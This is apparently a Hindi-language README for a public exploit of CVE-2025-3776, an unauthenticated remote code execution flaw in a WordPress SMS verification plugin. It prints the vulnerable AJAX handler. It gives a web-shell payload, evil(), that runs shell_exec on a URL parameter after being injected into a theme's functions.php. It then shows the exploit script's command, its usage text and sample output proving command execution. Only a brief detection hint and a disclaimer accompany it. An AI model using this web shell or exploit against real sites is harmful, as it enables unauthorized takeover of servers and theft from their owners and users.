
WordPress Verification SMS with TargetSMS Plugin <= 1.5 रिमोट कोड निष्पादन (RCE) के लिए संवेदनशील है।
यह कमजोरी उपयोगकर्ता-नियंत्रित इनपुट पर call_user_func() के उपयोग से उत्पन्न होती है, बिना अनुमत फ़ंक्शनों की सफेद सूची के विरुद्ध सैनिटाइज़ किए। यह एक तार्किक दोष पैदा करता है जहां मेमोरी में कोई भी मौजूदा PHP फ़ंक्शन बिना प्रमाणीकरण के निष्पादित किया जा सकता है, जिससे गंभीर रिमोट कोड एक्ज़ीक्यूशन (RCE) की स्थिति उत्पन्न होती है।
फ़ाइल: /inc/ajax.php
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
यह कोड बिना प्रमाणीकरण वाले उपयोगकर्ताओं को मेमोरी में मौजूद किसी भी फ़ंक्शन को ट्रिगर करने की अनुमति देता है, जिसमें दुर्भावनापूर्ण फ़ंक्शन भी शामिल हैं, यदि हमलावर उन्हें लोड करने में सक्षम हो।
इस कमजोरी का सफलतापूर्वक शोषण करने के लिए, WordPress वातावरण में एक कॉल करने योग्य फ़ंक्शन पहले से मौजूद होना चाहिए। चूंकि WordPress प्लगइन और थीम फ़ंक्शन को ऑटो-लोड कर सकते हैं, हमलावर सक्रिय थीम की functions.php फ़ाइल के माध्यम से अपना स्वयं का फ़ंक्शन इंजेक्ट कर सकता है।
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.php के अंत में निम्नलिखित पेलोड इंजेक्ट करें:function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ यह सुनिश्चित करता है कि
evil()फ़ंक्शन मेमोरी में लोड हो जाता है औरcall_user_func()के माध्यम से निष्पादित होने योग्य हो जाता है।
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
यदि मेमोरी में कोई evil() फ़ंक्शन या समान उपलब्ध नहीं है:
{"status":false}
functions.php को संशोधित करें (जैसा प्रदर्शित किया गया)।evil() युक्त PHP फ़ाइल अपलोड करें।एक बार दुर्भावनापूर्ण फ़ंक्शन लोड हो जाने पर, बिना प्रमाणीकरण वाला हमलावर यह कर सकता है:
पर बार-बार POST अनुरोधों की तलाश करें:
/wp-admin/admin-ajax.php?action=targetvrHHndler
callback=evil या किसी अप्रत्याशित फ़ंक्शन नाम के साथ
यह जानकारी केवल शैक्षिक और नैतिक अनुसंधान उद्देश्यों के लिए प्रदान की गई है। लेखक इस जानकारी के उपयोग से होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।
शोषणकर्ता: Nxploited ( Khaled Alenazi )